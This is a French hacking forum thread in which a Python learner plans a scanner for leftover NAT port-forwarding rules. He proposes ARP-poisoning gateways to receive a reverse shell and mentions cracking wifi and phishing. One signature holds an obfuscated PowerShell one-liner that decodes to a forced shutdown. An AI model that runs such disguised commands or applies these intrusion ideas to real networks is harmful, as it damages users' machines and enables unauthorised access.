Annonce

Réduire
Aucune annonce.

Projet: Exfiltration !?

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Projet: Exfiltration !?

    Salutations ! Alors je suis en train d'apprendre le python et j'ai bientôt mon fini mon (premier) projet python, un simple "vérificateur algorithmique" qui il faut le dire à était assez facile à réaliser.
    Il permet entre autres de soumettre un numéro de carte bleue, de NIR ou IBAN a son propre algorithme.
    (Il utilise des variables, des boucles, des fonctions basique et les lib os et sys)

    Je suis donc en recherche d'informations en vue de débuter un second projet, je voulais un projet plus dur et surtout utile ! (par opposition au premier)

    Alors cela m'arrive très souvent que je sois sur un réseau dont je ne gère pas la passerelle ( réseaux public / gratuit / hotspot etc. ) ou au cours de CTFs / Pen Test et je ne peux donc pas gérer le NAT (ce qui est vraiment relou je trouve : O)
    Et je me dis souvent: "Je ne peux pas gérer le NAT mais il y en a peut étre déjà des règles en place ca serais coool !"
    Alors certes je peux escaner la passerelle depuis l'internet mais port ouvert ne veut pas dire que le port est NAT vers ma machine locale ^^.

    Je vais donc vous l'aurez compris me lancer dans la création d'un scanner d'exfiltration ou Mappeur NAT ? (avouez que le nom sonne bien)


    J'aimerais donc votre avis sur la façon dont doit fonctionner le programme:
    1. le programme démarré initialise un socket local host :1
    2. le programme damrre un client et tente de se connecte au serveur via l'internet
    3. si la connexion réussie le programme renvoie le numéro du port utiliser
    4. le programme renvoie l'info comme quoi le NAT de ce port est actif
    5. le programme initialise un nouveau socket local host :2
    6. Etc.

    Voilà à l'heure où je post je suis en train de faire mon "brouillon" alors ca marche en local.. mais pas quand j'utilise ladresse "internet" ou "distante".. :/
    C'est a dire quand je passe par ma passerelle :/ je vais faire quellques test avec une machine distante et je revient ici !
    #Problem solved avec un tunel TCP.

    Bien a vous, Unamed !
    Dernière modification par Unamed, 21 janvier 2018, 08h48.
    "Please do not use in military or secret service, or for illegal purposes."

  • #2
    Bah pourquoi pas mais, tu crois pas qu'il faudrait une chance de cocu pour qu'il y ai une règle comme ça laissée à l'abandon vers TON ip privée ? Où tu comptes faire tourner l'IP de ton serveur ?
    Dans ce cas faut faire gaff à pas provoquer de conflit.
    Hack like a pro :
    PS > iex $(-join('73746F702D636F6D7075746572202D466F726365' -split '(?<=\G.{2})',20|%{[char][int]"0x$_"}))

    Commentaire


    • #3
      Hello Krisscool ! Bha c'est sur que a pas toujours un NAT en place... Mais ça arrive souvent quand même... surtout quand la plage IP du DHCP est courte... et que du coup il "recycle" les adresses... Ou alors parfois une service qui a tourné sur une machine et le NAT est tjr en place ^^

      Bon du coup j'ai écrit un petit brouillon et ça marche ! La j'ai un soucis avec une exepection (socket.error) :/
      Si l'un d'entre vous a une idée, j'ai une erreur du type:
      File "natclient.py", line 26
      except socket.error, e:
      ^
      SyntaxError: invalid syntax
      Et pour ce qui est des conflits je pensse en avoir eu un, car oui je veux faire tourner le "client" et le serveur sur la même machine évidemment ^^
      Du coup problém au moment d'écouter et de "parler" sur le même port... ( Local: > : Distant) en : local: ça marche mais j'utilise un tunnel Tcp du coup.


      Voilà amicalement ! Unamed

      PS: Tu viens de me faire penser à un truc... On pourrait pourrait pas connaitre toutes les règles NAT . Serait-il possible d'envoiler un paquet "spoofer" (au niveau de lip de l'expéditeur) et marqué pour qu'il soit "routé" par la passerelle? Et sniffer le réseau si on chope notre paquet un NAT est en place ! (Dans une V2 hein^^ )
      Dernière modification par Unamed, 23 janvier 2018, 00h26.
      "Please do not use in military or secret service, or for illegal purposes."

      Commentaire


      • #4
        Pour l'erreur, tu peux indiquer plus de code ? T'as pas un print avec une parenthèse fermante oubliée par hasard ligne juste au-dessus ?

        Commentaire


        • #5
          Bonsoir,

          Cela fait un moment que je lis et relis ce sujet... J'ai du mal à comprendre à quoi peut servir un tel programme ; moins encore comment on peut le réaliser.

          Il peut y avoir des règles qui redirigent un port en entrée de la passerelle vers une machine précise. Mais si on veut que ça fonctionne, il faut que la machine ait une ip fixe ; que ce soit une ip au delà de la plage qu'affecte le DHCP ou bien une attribution DHCP fixe selon l'adresse matérielle de la carte réseau de la machine en question. Je ne vois pas bien comment on peut tirer profit de ça.

          Pour le reste, le NAT va écrire dans sa table des vecteurs de connexion, du genre { ip machine locale, ip extérieure, protocole, port destination, port source, ip distante du serveur }. N'entreront (et ne seront redirigés vers ip machine locale) que les paquets ayant port source en destination et ip distante du serveur comme émetteur.

          Alors, j'aimerai savoir quelle genre d'informations tu récoltes avec ton programme. J'ai peut-être loupé quelque chose.

          Commentaire


          • #6
            Alors,

            Fred: tes un genie merci... et merci pour tes topics trés instructif !

            Code:
              mysocket.connect((hote, port)
              except socket.error, e:
              print('connect fail!:'+str(e))
            Icarus, pour faire simple :

            -Scan depuit ma machine: si il y a une vielle régles en place je peut l'utiliser !

            -Scan en "Ip spoofé" -> Je cherche les régles NAT qui pourrais étre en place !
            (Si des machines son sur le réseau je le sais car j'ai scaner avant evidement ^^ et generalement je peut déduire les régles en place avec les ports ouverts sur cette machine)

            Tu as dit:

            Il peut y avoir des règles qui redirigent un port en entrée de la passerelle vers une machine précise. Mais si on veut que ça fonctionne, il faut que la machine ait une ip fixe ; que ce soit une ip au delà de la plage qu'affecte le DHCP ou bien une attribution DHCP fixe selon l'adresse matérielle de la carte réseau de la machine en question. Je ne vois pas bien comment on peut tirer profit de ça.

            Bha c'est simple... ARP poisoning !

            Je me fais passer pour la machine en empoisonnant le cache ARP de la passerelle -> (
            J'ai biensûr toutes les autorisations nécessaire, sans quoi ce serais illegal !!)

            Et de là je peux simplement recevoir mon reverse tcp ou tout ce que je veut d'autre -> depuis le port d'entrée non filtré !
            Et hop un shell a travers deux passerelle que l'ont ne controle pas !

            (Faut il encore connaitre le port utiliser et l'ip a "spoof" d'ou le scanneur de régles NAT Car si je doit spoofé tout 192.168.1.0/24 je suis pas rendu )

            Ou alors encore plus agressif si elle est OFF pourquoi pas faire écouter ta machine sur ce port en attente d'une connexion... !
            (Mais c'est encore autre chose ^^)


            Je rajouterais pour finir que tu n'es pas obliger d'utiliser une "adresse fix".. Exemple un gameur qui ouvre des ports pour son jeux favoris ne va pas forcement pensser a utiliser une ip local fix..

            Mais cela ne change rien pour nous !
            IP fix ou pas nous allons empoisoner le cache ARP de la passerelle !

            Voilà j'espére étre lisible et clair ! Désoler pour le pavé et les fautes A trés bientôt ! Unamed


            ARP poisoning -> https://fr.wikipedia.org/wiki/ARP_poisoning
            Dernière modification par Unamed, 25 janvier 2018, 04h28.
            "Please do not use in military or secret service, or for illegal purposes."

            Commentaire


            • #7
              Intéressant. Mais, ainsi que tu le fais remarquer, il manque un détail à ton affaire : comment fais-tu concrètement pour déterminer cette ip ? Un scan du réseau interne ? Le port ouvert sur la machine peut ne pas être le même que celui exposé sur internet. De même, des machines peuvent avoir des ports ouverts et ne pas être concernées par la règle (à titre d'information, ce n'est pas à proprement parler du NAT mais une extension de celle-ci qui se nomme "redirection de port" ou encore port forwarding).

              Je trouve cela bien compliqué alors qu'il suffit de sortir depuis ta machine vers internet via http et offrir, par exemple, une ligne de commande à un serveur distant. Il s'agit juste d'exploiter le fonctionnement primaire du NAT : si tu ouvres une connexion TCP xxxx:80 (où xxxx est le port source) vers un serveur S, Les connections reçues sur xxxx et provenant de S seront redirigées vers ta machine. Le seul truc, je pense, c'est qu'il faut qu'il y ait un dialogue régulier entre les deux machines sinon la passerelle va finir par effacer l'entrée dans sa table.

              Commentaire


              • #8
                Tu parle d'un tunel TCP local en faite ? je comprend pas ce que tu veut dire par
                il suffit de sortir depuis ta machine vers internet via http et offrir, par exemple, une ligne de commande à un serveur distant.
                Quelle serveur ? La machine distante dans mon cas ne peut pas écouter.. ( Parfeu et passerelle avec des régles genre 3iem Reich )

                Je rapel que je ne controle pas la passerell local.. et que je part du principe qu'il n'y a aucune machines sur le réseau local je veut pouvoir déduire les régles "seul".

                En gros je suis sur un réseau dont je ne controle pas la passerelle et je veut que mon programme me sorte un tableau comme ça:


                Port interne | Port externe | Protocol | Machine
                ____1455____________ 80____________TCP__________ 192.168.1.3
                ____22____________2245____________TCP__________ 192.168.1.3
                ************Snip**************


                Et la je peu me dire: je me fait passer pour 192.168.1.3 et j'écoute sur 1455 pour recevoir mon payload que j'ai configuré sur le port 80 =)

                Tu a raison sur un point : "Le port ouvert sur la machine peut ne pas être le même que celui exposé sur internet."

                Mais si le programe écoute sur le port 2 > requétes tout les ports exterieurs écoute sur le port 3 > requétes tout les ports extérieurs Problem solved !
                Aprés si aucune régles vers notre machine local.. il faut changer d'adresse ip local.. au yeux de la passerelle.. je vois que l'arp poissoning comme solution..

                Je vais me tourner vers scapy je pensse.. et je suis pas sur que le systèm de socket soit le mieu pour ce genre de program..
                fred une idée ?
                "Please do not use in military or secret service, or for illegal purposes."

                Commentaire


                • #9
                  Désolé, j'ai enfin compris ce que tu voulais faire (à ma décharge, c'est dur de te déchiffrer ).

                  Tu vas implanter un programme sur une cible et tu dois établir une liaison avec celui-ci. Et comme sur la cible, il y a un pare-feu, il est impossible de se connecter dans le sens attaquant -> cible. Le programme en question doit donc initier une connexion avec l'attaquant. Et comme, tu es derrière une passerelle, tu as le même problème en fait. Les connexions entrantes sont filtrées. Du coup, tu cherches un port ouvert et redirigé afin de passer cette barrière et communiquer avec le programme.

                  Alors pourquoi ne pas utiliser un scanner de ports en ligne ? Après, tu scannes le réseau interne avec les ports ouverts repérés.

                  Cela dit, c'est toujours utile de faire un programme, cela apprend le fonctionnement réel des choses. A ce propos, d'ordinaire il n'est pas possible d’accéder à l’interface externe d'une passerelle si tu es derrière. Tu aurais trouvé la solution dis-tu, avec un tunnel TCP ? Tu peux expliquer comment tu fais ça ?

                  Dernier point, assez comique. Finalement, pourquoi ne pas faire cela à partir d'une passerelle que tu contrôles, comme chez toi par exemple ? Tu vas me dire que tu ne veux pas te faire repérer, etc. Logique. Donc tu te connectes à un réseau wifi plus ou moins ouvert, de sorte que personne ne puisse savoir ton identité. Et le truc comique vient juste ici :
                  Je me fais passer pour la machine en empoisonnant le cache ARP de la passerelle -> (J'ai biensûr toutes les autorisations nécessaire, sans quoi ce serais illegal !!)
                  Oui, sinon ce serait illégal, mon dieu...

                  The silence is sometimes your friend.

                  Commentaire


                  • #10
                    Heu...
                    Dernier point, assez comique. Finalement, pourquoi ne pas faire cela à partir d'une passerelle que tu contrôles, comme chez toi par exemple ? Tu vas me dire que tu ne veux pas te faire repérer, etc. Logique. Donc tu te connectes à un réseau Wi-Fi plus ou moins ouvert, de sorte que personne ne puisse savoir ton identité.


                    Alors dejà j'ai dit dans le premier post, je fais des CTFs ( https://www.root-me.org) je les fais également de chez moi, mais je suis souvent en balade =).(Tu peux aller voir mon profil pour te rassurer et même me MP pour confirmer... mon avatar est le même que sur le forum tu tapes Joe33 dans la barre de recherche tu as une seule sortie c'est mon profil "Joe"... (985 de score 24 CTF root crée le 01/03/2017 )

                    Maintenant que tu est rassurer, je te dirais que, si je veut une connection anonyme dont je controle la passerelle c'est trés facile, je crack un wifi aprés j'ai des dizaines de moyens pour accéder à la passerelle ( DNS spoof + phishing, Brute force, exploit?, SE?, etc. )

                    Pour ce qui est de "l'interface externe de la passerelle" je ne savais pas qu'elle n'était pas joignable de l'intérieur ^^ (Mais je me poser la question )

                    Moi j'ai procédé comme ça :
                    TCP-LISTEN: 900, fork TCP: 90.9X.XX.16X:4455 + un socket en écoute sur 4455 et un socket connect sur 90.9X.XX.16X:4455

                    Et ça marche dont je sais pas trop quoi te dire...c'est du local en faite ?

                    Sinon j'ai pas compris quand tu dis
                    alors pourquoi ne pas utiliser un scanner de ports en ligne ? Après, tu scannes le réseau interne avec les ports ouverts repérés.
                    Je peux très bien scaner de l'intérieur Nmap 90.9X.XX.16X -sS -vv non ? ( chez moi ca marche )

                    Mais de toute façon ça me dit les ports ouverts, mais pas vers quelle machine locale il sera "foward"

                    Sauf si je snif le réseau et que j'intercepte le paquet du scan... Mais la passerelle va elle "foward" les paquets si la machine en question est off... ?

                    Voilà merci de m'aider dans ma réflexion en tout cas Icarus !


                    @Icarus: Désolé si je suis dur à lire / comprendre, je vais m'améliorer !En revanche n'accuse pas les gens comme ça pour rien du tout et surtout sans preuve c'est très mal poli, c'est mal vue, mal venue, et je trouve ça assez vexant, je ne sais pas tout, je suis ouvert à toute remarque / critique bonne ou mauvaise, mais reste correct ou passe ta route !
                    "Please do not use in military or secret service, or for illegal purposes."

                    Commentaire


                    • #11
                      Lorsque je dis que tu es difficile à comprendre, c'est par exemple :
                      TCP-LISTEN: 900, fork TCP: 90.9X.XX.16X:4455 + un socket en écoute sur 4455 et un socket connect sur 90.9X.XX.16X:4455
                      Tu ne dis pas d'où ça sort ni ce que tu utilises en fait. Alors il se peut que ce soit clair pour un hacker immergé dans le milieu mais ce n'est pas mon cas.

                      Quant à Nmap 90.9X.XX.16X -sS -vv, ça marche oui, mais j'ai peur que ce ne soit pas comme tu le crois. Je suppose que 90.9X.XX.16X est ton adresse ip externe, celle qui est exposée sur internet et que tu es par exemple chez Orange. Ce FAI comme la plupart (tous ?) utilise une box qui est ta passerelle.

                      Toute passerelle contient au moins deux interfaces réseau : celle externe avec ton ip 90... et une interne avec un réseau de type 192.168.1.x pour ce qui nous occupe ici. Lorsque tu lances ton nmap, tu scannes cette dernière interface, pas celle qui est sur internet. Ce n'est pas 90.9X.XX.16X que tu scannes mais 192.168.1.1.

                      Démonstration chez moi :

                      Code:
                      [email protected]:/usr/home/Icarus # nmap 90.xxx.xxx.xxx
                      Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-27 12:52 CET
                      Host is up (0.0022s latency).
                      Not shown: 989 filtered ports
                      PORT      STATE  SERVICE
                      23/tcp    closed telnet
                      53/tcp    closed domain
                      80/tcp    open   http
                      113/tcp   closed ident
                      135/tcp   closed msrpc
                      139/tcp   closed netbios-ssn
                      443/tcp   open   https
                      445/tcp   closed microsoft-ds
                      631/tcp   closed ipp
                      49152/tcp open   unknown
                      49153/tcp closed unknown
                      
                      Nmap done: 1 IP address (1 host up) scanned in 71.06 seconds
                      Maintenant avec un navigateur, je me connecte sur grc.com et je demande un scan :
                      Code:
                      Port    Service     Status    
                      (...)
                      21        FTP       Stealth    
                      22        SSH       Stealth
                      23        Telnet    Stealth    
                      80        HTTP      Stealth
                      113       IDENT     Closed    
                      135       RPC       Stealth    
                      139       NetBIOS   Stealth
                      443       HTTPS     Stealth
                      445       MSFTDS    Stealth
                      (...)
                      Comme tu peux le voir, c'est loin d'être la même chose. Après je ne sais pas si ce que tu fais avec ton tunnel TCP change cela mais la logique voudrait qu'il faille s'appuyer sur une machine hors réseau interne pour faire un scan de l'interface externe.

                      D'ailleurs, pour aller dans ton sens, je viens de m'apercevoir que j'avais laissé dans ma box une redirection de port pour un logiciel que j'avais utilisé une seule fois. Bon, ce n'est pas grave, elle a peu de chance d'être détectée car ce sont des numéros de port très élevés que je prends mais... Je l'ai supprimée du coup.

                      PS : pour ceux qui se poseraient la question, il est normal que le port correspondant à IDENT soit fermé et non masqué. Cela se passe uniquement dans le cas où une connexion est établie avec l'ip qui scanne (et c'est le cas avec mon navigateur pour grc.com). Cela évite des temps de latence avec de vieux protocoles qui utilisaient IDENT (comme IRC). A ma connaissance, cela n'a aucune implication négative sur la sécurité.
                      Dernière modification par Icarus, 27 janvier 2018, 18h07. Motif: Fautes

                      Commentaire


                      • #12
                        Je comprends mieu, merci pour l'info ! Désoler encore je voulais dire que j'utilise un tunnel Tcp (avec socat) du port 900 de ma machine locale vers le port 4455 de ma passerelle...(vers son interface locale du coup ^^ ) et que j'utilise deux sockets python...

                        Mais comme tu m'as fait comprendre... Cela est 100% useless ! Je dois donc revoir ma stratégie... sûrement avec un serveur externe mais du coup ça perd tout son intérêt ^^
                        Merci c'est un plaisir d'échanger avec toi =)
                        "Please do not use in military or secret service, or for illegal purposes."

                        Commentaire


                        • #13
                          Je ne connaissais pas socat mais ce programme est très intéressant ; très compliqué à utiliser aussi devant la pléthore de choses qu'il permet. De quoi me donner quelques idées... Merci.

                          Commentaire

                          Chargement...
                          X